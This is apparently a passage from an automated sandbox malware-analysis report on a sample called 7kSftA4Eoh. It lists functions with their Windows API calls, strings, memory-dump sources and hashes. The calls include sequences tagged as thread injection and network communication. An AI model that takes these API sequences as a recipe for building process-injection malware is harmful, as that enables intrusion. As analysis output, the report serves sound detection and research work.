Instruction Fuzzy Hash: C0317C36700A459AEB10DFF9E99479C73BAF784B98F410522DE0A97A69DF38C909C740

Function 009A288C Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 85filelibraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 009A28CF
GetProcAddress.KERNEL32 ref: 009A28DF
CreateFileMappingA.KERNEL32 ref: 009A2908
MapViewOfFile.KERNEL32 ref: 009A292F
UnmapViewOfFile.KERNEL32 ref: 009A2992
CloseHandle.KERNEL32 ref: 009A299B
GetLastError.KERNEL32 ref: 009A29AB

Strings

ntdll.dll, xrefs: 009A28C1
NtMapViewOfSection, xrefs: 009A28D5

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: File$HandleView$AddressCloseCreateErrorLastMappingModuleProcUnmap
String ID: NtMapViewOfSection$ntdll.dll
API String ID: 2680503992-3170647572
Opcode ID: 121fe0b491a684415106ec00e2dd0e7d2198fcb60d8a3cefec07f5edc9ae2468
Instruction ID: 0671c1004cda7bf6dae6ed32608748986dba46d92cb220ac4faeebec621f1fed
Opcode Fuzzy Hash: 121fe0b491a684415106ec00e2dd0e7d2198fcb60d8a3cefec07f5edc9ae2468
Instruction Fuzzy Hash: 1731DE32710B4487EB149B26F55876A73A4F789FB4F040729EEAA07BA6CF7CC4458740

Function 009A5864 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 57networksleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 009A5884
select.WS2_32 ref: 009A58EA
__WSAFDIsSet.WS2_32 ref: 009A58F9
__WSAFDIsSet.WS2_32 ref: 009A590E
send.WS2_32 ref: 009A5924
WSAGetLastError.WS2_32 ref: 009A592F
Sleep.KERNEL32 ref: 009A5941
GetTickCount.KERNEL32 ref: 009A5947

Strings

d, xrefs: 009A5892

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: CountTick$ErrorLastSleepselectsend
String ID: d
API String ID: 2152284305-2564639436
Opcode ID: cd5d6b9af6a216c8fb5dee28e8f18bddad3c500ccbeb1af542c6eb1c04d411d5
Instruction ID: 250f59eec2ff7ffeefc099010024af474404d99b5629c5fe2863d09e15e8c7ef
Opcode Fuzzy Hash: cd5d6b9af6a216c8fb5dee28e8f18bddad3c500ccbeb1af542c6eb1c04d411d5
Instruction Fuzzy Hash: D0218072214F85D6EB60CF21F98878E7369F7887A4F404125EB9E47A59DF38C858CB80

Function 03562DEF Relevance: 15.1, APIs: 10, Instructions: 93COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 03562E1A

Part of subcall function 0355CE57: _getptd_noexit.LIBCMT ref: 0355CE5B

__doserrno.LIBCMT ref: 03562E12

Part of subcall function 0355CDE7: _getptd_noexit.LIBCMT ref: 0355CDEB

__lock_fhandle.LIBCMT ref: 03562E5E
_lseeki64_nolock.LIBCMT ref: 03562E77
_unlock_fhandle.LIBCMT ref: 03562E9A

Memory Dump Source

Source File: 00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp, Offset: 03540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3540000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: _getptd_noexit$__doserrno__lock_fhandle_errno_lseeki64_nolock_unlock_fhandle
String ID:
API String ID: 2644381645-0
Opcode ID: 13d5b912aa4b58c8157a7abacb0084aea56df7353009d6a56fe2b8f2328fcb02
Instruction ID: 523b132f4cdbfa4515b5d2f3d9f793ed4607f6d19134113103c9d389b216b629
Opcode Fuzzy Hash: 13d5b912aa4b58c8157a7abacb0084aea56df7353009d6a56fe2b8f2328fcb02
Instruction Fuzzy Hash: 9321D8316187454ED359EB5CF89137D76F0FFCA321F050A6EE41ACB1B1DA746C0186A2

Function 03562C77 Relevance: 15.1, APIs: 10, Instructions: 88COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 03562CA2

Part of subcall function 0355CE57: _getptd_noexit.LIBCMT ref: 0355CE5B

__doserrno.LIBCMT ref: 03562C9A

Part of subcall function 0355CDE7: _getptd_noexit.LIBCMT ref: 0355CDEB

__lock_fhandle.LIBCMT ref: 03562CE6
_lseek_nolock.LIBCMT ref: 03562CFF
_unlock_fhandle.LIBCMT ref: 03562D20

Memory Dump Source

Source File: 00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp, Offset: 03540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3540000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: _getptd_noexit$__doserrno__lock_fhandle_errno_lseek_nolock_unlock_fhandle
String ID:
API String ID: 1078912150-0
Opcode ID: 0a90b57d0e0bb32bf9b0256fe91cce560893c6d5b4dbdc2a1a779e5db910b3c4
Instruction ID: 492fe5de461f61c2ab7546a381e5e229fa97a7391319731765f8d9eab4576c8c
Opcode Fuzzy Hash: 0a90b57d0e0bb32bf9b0256fe91cce560893c6d5b4dbdc2a1a779e5db910b3c4
Instruction Fuzzy Hash: C92128356187454ED319EB68F89137C76F0FFC2331F160A5DE466CB1B2D6B468028792

Function 009B2BBC Relevance: 15.1, APIs: 10, Instructions: 81COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 009B2BEE

Part of subcall function 009ADA10: _getptd_noexit.LIBCMT ref: 009ADA14

__doserrno.LIBCMT ref: 009B2BE5

Part of subcall function 009AD9A0: _getptd_noexit.LIBCMT ref: 009AD9A4

__doserrno.LIBCMT ref: 009B2C4B
_errno.LIBCMT ref: 009B2C52
_invalid_parameter_noinfo.LIBCMT ref: 009B2CB6

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: __doserrno_errno_getptd_noexit$_invalid_parameter_noinfo
String ID:
API String ID: 388111225-0
Opcode ID: 5e6db6726096af27b66046b2acef74fb063e62aaa520d3154a3709877deb361b
Instruction ID: 50b2cd035ccefcc3cb8c533c0acb2e8124b6eb7c522747fc7fe81664a18dcccd
Opcode Fuzzy Hash: 5e6db6726096af27b66046b2acef74fb063e62aaa520d3154a3709877deb361b
Instruction Fuzzy Hash: AF2148323113448AD3166F75DA8136F3A10FBC2BB0F458655EE6617B96CB7CC842C791

Function 009BBC50 Relevance: 13.6, APIs: 9, Instructions: 127COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 009BBC76
_errno.LIBCMT ref: 009BBC6B

Part of subcall function 009ADA10: _getptd_noexit.LIBCMT ref: 009ADA14

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: _errno_getptd_noexit_invalid_parameter_noinfo
String ID:
API String ID: 1812809483-0
Opcode ID: d44fac2e59bc99b4c96033e94abcbe5d8b9df5f97906d86d8397442a6074eaee
Instruction ID: 1b51b4a0a39dbb91847f86b768b245c87d2b400b2b0870b46e6158761f9768cf
Opcode Fuzzy Hash: d44fac2e59bc99b4c96033e94abcbe5d8b9df5f97906d86d8397442a6074eaee
Instruction Fuzzy Hash: 864126B261435186DF20EB1686403FE36A8E7E4BB4F904226EB9547BC5DBBCC841C740

Function 009A02EC Relevance: 13.6, APIs: 9, Instructions: 109threadinjectionCOMMON

Download Yara Rule

APIs

Part of subcall function 009A76EC: GetCurrentProcess.KERNEL32 ref: 009A7704

GetThreadContext.KERNEL32 ref: 009A0352
GetLastError.KERNEL32 ref: 009A035C
ReadProcessMemory.KERNEL32 ref: 009A038D
ReadProcessMemory.KERNEL32 ref: 009A03B5
VirtualProtectEx.KERNEL32 ref: 009A03DF
malloc.LIBCMT ref: 009A03F4
free.LIBCMT ref: 009A043D
WriteProcessMemory.KERNEL32 ref: 009A0464
GetLastError.KERNEL32 ref: 009A046E

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: Process$Memory$ErrorLastRead$ContextCurrentProtectThreadVirtualWritefreemalloc
String ID:
API String ID: 1437218981-0
Opcode ID: 0837c0be696be076953f626b7cb1ef700a22adb7f3bb4411fff8eaef3d65f62c
Instruction ID: 377aca856a5da3a943f01abcca52e80fc6f55df5908845c707a5323ea63b1e86
Opcode Fuzzy Hash: 0837c0be696be076953f626b7cb1ef700a22adb7f3bb4411fff8eaef3d65f62c
Instruction Fuzzy Hash: 1D419072318A4186DB24DF26F8507AE73A8FBC9B88F005425EF8A47B5AEF3CC5458744

Function 009AC21C Relevance: 13.6, APIs: 9, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 009AC204: _mtinitlocknum.LIBCMT ref: 009AFB4A
Part of subcall function 009AC204: _amsg_exit.LIBCMT ref: 009AFB56

DecodePointer.KERNEL32 ref: 009AC278
DecodePointer.KERNEL32 ref: 009AC296
EncodePointer.KERNEL32 ref: 009AC2C4
DecodePointer.KERNEL32 ref: 009AC2D9
EncodePointer.KERNEL32 ref: 009AC2E4
DecodePointer.KERNEL32 ref: 009AC2F6
DecodePointer.KERNEL32 ref: 009AC306
__crtCorExitProcess.LIBCMT ref: 009AC38A
ExitProcess.KERNEL32 ref: 009AC392

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: Pointer$Decode$EncodeExitProcess$__crt_amsg_exit_mtinitlocknum
String ID:
API String ID: 1550138920-0
Opcode ID: d7efd6195f77797d4161262abdd0b4da421aa9445d234d03ffcc64e71c179cc0
Instruction ID: 748ae44c4b5b5d3db365eb4c7546959f48868bfc4950b4c746efe6e7f3fe4ef7
Opcode Fuzzy Hash: d7efd6195f77797d4161262abdd0b4da421aa9445d234d03ffcc64e71c179cc0
Instruction Fuzzy Hash: 1141CE7130AB0182EB509F11FD4036977AAF78ABE8F44442AEE8E47766EF38C4598740

Function 009A4B68 Relevance: 13.6, APIs: 9, Instructions: 95networkCOMMON

Download Yara Rule

APIs

htonl.WS2_32 ref: 009A4BA9
htons.WS2_32 ref: 009A4BBA

Part of subcall function 0099ED34: WSAStartup.WS2_32 ref: 0099ED52

socket.WS2_32 ref: 009A4BFC
closesocket.WS2_32 ref: 009A4C11
gethostbyname.WS2_32 ref: 009A4C30
htons.WS2_32 ref: 009A4C60
ioctlsocket.WS2_32 ref: 009A4C7A
connect.WS2_32 ref: 009A4C92
WSAGetLastError.WS2_32 ref: 009A4C9C

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: htons$ErrorLastStartupclosesocketconnectgethostbynamehtonlioctlsocketsocket
String ID:
API String ID: 3990436974-0
Opcode ID: 0cd43114701e1262f3a5fd96d94ee5b07d31ea31945adaa52020fa66bcd3804a
Instruction ID: 5b3b569efebebd3cfa499d0a7e374b1c8a237539e54ce6948e662cea5a9d78d9
Opcode Fuzzy Hash: 0cd43114701e1262f3a5fd96d94ee5b07d31ea31945adaa52020fa66bcd3804a
Instruction Fuzzy Hash: A8312262300A8082EB349F25F9443EA7369FB85BA8F440524EE4F47695EFBCC64AC740

Function 0356161B Relevance: 13.6, APIs: 9, Instructions: 89COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 03561646

Part of subcall function 0355CE57: _getptd_noexit.LIBCMT ref: 0355CE5B

__doserrno.LIBCMT ref: 0356163E

Part of subcall function 0355CDE7: _getptd_noexit.LIBCMT ref: 0355CDEB

__lock_fhandle.LIBCMT ref: 0356168A
_unlock_fhandle.LIBCMT ref: 035616C4

Memory Dump Source

Source File: 00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp, Offset: 03540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3540000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: _getptd_noexit$__doserrno__lock_fhandle_errno_unlock_fhandle
String ID:
API String ID: 2464146582-0
Opcode ID: 2fd7552e7a03a83772671d1ab36797b1f3930bea2a84a4ca2c1857c787e7c989
Instruction ID: f99701b896eaedf524260939c53931c75a7a9b779c3338d63485caafe1ea19f8
Opcode Fuzzy Hash: 2fd7552e7a03a83772671d1ab36797b1f3930bea2a84a4ca2c1857c787e7c989
Instruction Fuzzy Hash: C5212835618B414ED359EB6CF89133C76F0FBC2331F0A065DE46A8B1B1D6B4680186E6

Function 009A5200 Relevance: 13.6, APIs: 9, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 009A5248: htonl.WS2_32 ref: 009A52A5
Part of subcall function 009A5248: select.WS2_32 ref: 009A5313
Part of subcall function 009A5248: __WSAFDIsSet.WS2_32 ref: 009A532B
Part of subcall function 009A5248: accept.WS2_32 ref: 009A5348
Part of subcall function 009A5248: ioctlsocket.WS2_32 ref: 009A5360
Part of subcall function 009A5248: __WSAFDIsSet.WS2_32 ref: 009A5403

GetTickCount.KERNEL32 ref: 009A5212

Part of subcall function 009A5594: malloc.LIBCMT ref: 009A55C6
Part of subcall function 009A5594: htonl.WS2_32 ref: 009A55F9
Part of subcall function 009A5594: recvfrom.WS2_32 ref: 009A563D
Part of subcall function 009A5594: WSAGetLastError.WS2_32 ref: 009A564A

GetTickCount.KERNEL32 ref: 009A522A
GetTickCount.KERNEL32 ref: 009A5748
GetTickCount.KERNEL32 ref: 009A575E
shutdown.WS2_32 ref: 009A577D
shutdown.WS2_32 ref: 009A5792
closesocket.WS2_32 ref: 009A579C
free.LIBCMT ref: 009A57BC
free.LIBCMT ref: 009A57D1

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: CountTick$freehtonlshutdown$ErrorLastacceptclosesocketioctlsocketmallocrecvfromselect
String ID:
API String ID: 3610715900-0
Opcode ID: 627dba3710d4f0c7dd1d641995000bac8284fcfa6f523cdae05f715bf1581dd1
Instruction ID: 63fd7f8b66fa8e19581e938e8a06e3b10f7a195f357b6e58855313893a52c805
Opcode Fuzzy Hash: 627dba3710d4f0c7dd1d641995000bac8284fcfa6f523cdae05f715bf1581dd1
Instruction Fuzzy Hash: 90218332700E41C6EB249F62E54832D737CFB8AFA9F1A5521DE595761ADF38C890C790

Function 03560E3F Relevance: 13.6, APIs: 9, Instructions: 71COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 03560E60

Part of subcall function 0355CE57: _getptd_noexit.LIBCMT ref: 0355CE5B

__doserrno.LIBCMT ref: 03560E58

Part of subcall function 0355CDE7: _getptd_noexit.LIBCMT ref: 0355CDEB

__lock_fhandle.LIBCMT ref: 03560EA4
_close_nolock.LIBCMT ref: 03560EB7
_unlock_fhandle.LIBCMT ref: 03560ED0

Memory Dump Source

Source File: 00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp, Offset: 03540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3540000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: _getptd_noexit$__doserrno__lock_fhandle_close_nolock_errno_unlock_fhandle
String ID:
API String ID: 2140805544-0
Opcode ID: 6cfc25cdd5b489f6688e94242b3cab24ae98c4ad259251a64ebc42d574a3c06b
Instruction ID: 066aa9a4476b7e1a9685b481d80c870a19f6fdd3a4dabc4fd82052b85d067640
Opcode Fuzzy Hash: 6cfc25cdd5b489f6688e94242b3cab24ae98c4ad259251a64ebc42d574a3c06b
Instruction Fuzzy Hash: 6C11063255DB568ED315EB64A8A432D76B0FB82321F160A6DE42B8B2F1D6749C418391

Function 009B3830 Relevance: 13.6, APIs: 9, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 009B385B

Part of subcall function 009ADA10: _getptd_noexit.LIBCMT ref: 009ADA14

__doserrno.LIBCMT ref: 009B3853

Part of subcall function 009AD9A0: _getptd_noexit.LIBCMT ref: 009AD9A4

__lock_fhandle.LIBCMT ref: 009B389F
_lseek_nolock.LIBCMT ref: 009B38B8

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: _getptd_noexit$__doserrno__lock_fhandle_errno_lseek_nolock
String ID:
API String ID: 310312816-0
Opcode ID: f9b56865d90164e51b20c2bbab125bba674e742126cc76267be3c4ade94a0bda
Instruction ID: 2e8357d58d03ee437ea37a0ac0b5dcb6ebf8c6077811da44179c73dd001fff4e
Opcode Fuzzy Hash: f9b56865d90164e51b20c2bbab125bba674e742126cc76267be3c4ade94a0bda
Instruction Fuzzy Hash: 94113B32B0564049E702BF65DA8136E7611B7C17B0F598919FA2A0B7E7CB7CC841C766

Function 009B39A8 Relevance: 13.6, APIs: 9, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 009B39D3

Part of subcall function 009ADA10: _getptd_noexit.LIBCMT ref: 009ADA14

__doserrno.LIBCMT ref: 009B39CB

Part of subcall function 009AD9A0: _getptd_noexit.LIBCMT ref: 009AD9A4

__lock_fhandle.LIBCMT ref: 009B3A17
_lseeki64_nolock.LIBCMT ref: 009B3A30

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: _getptd_noexit$__doserrno__lock_fhandle_errno_lseeki64_nolock
String ID:
API String ID: 4140391395-0
Opcode ID: 2915a5590191083fef4be69073d3087bf6c31db82160f2517f5d5cdc6336bfe3
Instruction ID: f1ede146e3986c6c749607a541bc7f6849a598c9a0ec1d5d4aa1769f02bccb0b
Opcode Fuzzy Hash: 2915a5590191083fef4be69073d3087bf6c31db82160f2517f5d5cdc6336bfe3
Instruction Fuzzy Hash: 39110A2270554085EB02BF15D9813AE7611A7C1BF0F6A9719EE3A077D6C77CC441C765

Function 0355B353 Relevance: 12.6, APIs: 10, Instructions: 116COMMONLIBRARYCODE

Download Yara Rule

APIs

free.LIBCMT ref: 0355B381

Part of subcall function 0355A62F: _errno.LIBCMT ref: 0355A64F

free.LIBCMT ref: 0355B396
free.LIBCMT ref: 0355B3B7
free.LIBCMT ref: 0355B3CC
free.LIBCMT ref: 0355B3E0
free.LIBCMT ref: 0355B3EC
free.LIBCMT ref: 0355B417
free.LIBCMT ref: 0355B438
free.LIBCMT ref: 0355B451
free.LIBCMT ref: 0355B482

Memory Dump Source

Source File: 00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp, Offset: 03540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3540000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: free$_errno
String ID:
API String ID: 2288870239-0
Opcode ID: 35aca9194c528ae9650a35c73d1bdbf2d60b0283d2e9458ab8899a63ba071189
Instruction ID: 0ffd5d8426149a996a9a47a3db6ef1d6e70e5682b955ab9fb46cc7cea66b64f4
Opcode Fuzzy Hash: 35aca9194c528ae9650a35c73d1bdbf2d60b0283d2e9458ab8899a63ba071189
Instruction Fuzzy Hash: EF31A230665E0B8FEB65EB98F8E876573E1FB58312F94012AA905C71B0FB7CA405C741

Function 00401D50 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 185COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32 ref: 00401E69

Strings

Mingw-w64 runtime failure:, xrefs: 00401D88
Address %p has no image-section, xrefs: 00401DC0
VirtualQuery failed for %d bytes at address %p, xrefs: 00401FBB
VirtualProtect failed with code 0x%x, xrefs: 00401F56

Memory Dump Source

Source File: 00000000.00000002.4125858105.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4125823781.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4125902897.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4125926800.0000000000405000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4125980244.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7kSftA4Eoh.jbxd

Similarity

API ID: QueryVirtual
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section$Mingw-w64 runtime failure:
API String ID: 1804819252-1534286854
Opcode ID: eb96bce5aba28f4b7fd5428a67a7dc765e3f26f51d184c285f7c9c3ca2c1b9e4
Instruction ID: 10d76aa513752d408286ffc26ec959f6f169e193d9772deefbdc98a11bb0eab9
Opcode Fuzzy Hash: eb96bce5aba28f4b7fd5428a67a7dc765e3f26f51d184c285f7c9c3ca2c1b9e4
Instruction Fuzzy Hash: 2C51DFB2701B4086DB109F26E94475E77A1F799BA4F58423AEF98233E1EA3CC485C748

Function 009B21D4 Relevance: 12.1, APIs: 8, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 009B21FF

Part of subcall function 009ADA10: _getptd_noexit.LIBCMT ref: 009ADA14

__doserrno.LIBCMT ref: 009B21F7

Part of subcall function 009AD9A0: _getptd_noexit.LIBCMT ref: 009AD9A4

__lock_fhandle.LIBCMT ref: 009B2243

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: _getptd_noexit$__doserrno__lock_fhandle_errno
String ID:
API String ID: 2611593033-0
Opcode ID: a02034d4b4650baad4229769328548c6f1890294151ac8472b2d8ade1b3a2288
Instruction ID: 3cb9377e657cb28dc8054357c9983b35f461c1dc5b9853323b8b4d462ae94afe
Opcode Fuzzy Hash: a02034d4b4650baad4229769328548c6f1890294151ac8472b2d8ade1b3a2288
Instruction Fuzzy Hash: 0A1136327055404AE70A6F65DA8137E7610FBC1BB0F4A4514EA3A4B7E6CB7CC841C7A5

Function 009B64E8 Relevance: 12.1, APIs: 8, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 009B6501

Part of subcall function 009ADA10: _getptd_noexit.LIBCMT ref: 009ADA14

__lock_fhandle.LIBCMT ref: 009B6549
FlushFileBuffers.KERNEL32 ref: 009B6564
GetLastError.KERNEL32 ref: 009B656E
__doserrno.LIBCMT ref: 009B657E
_errno.LIBCMT ref: 009B6585

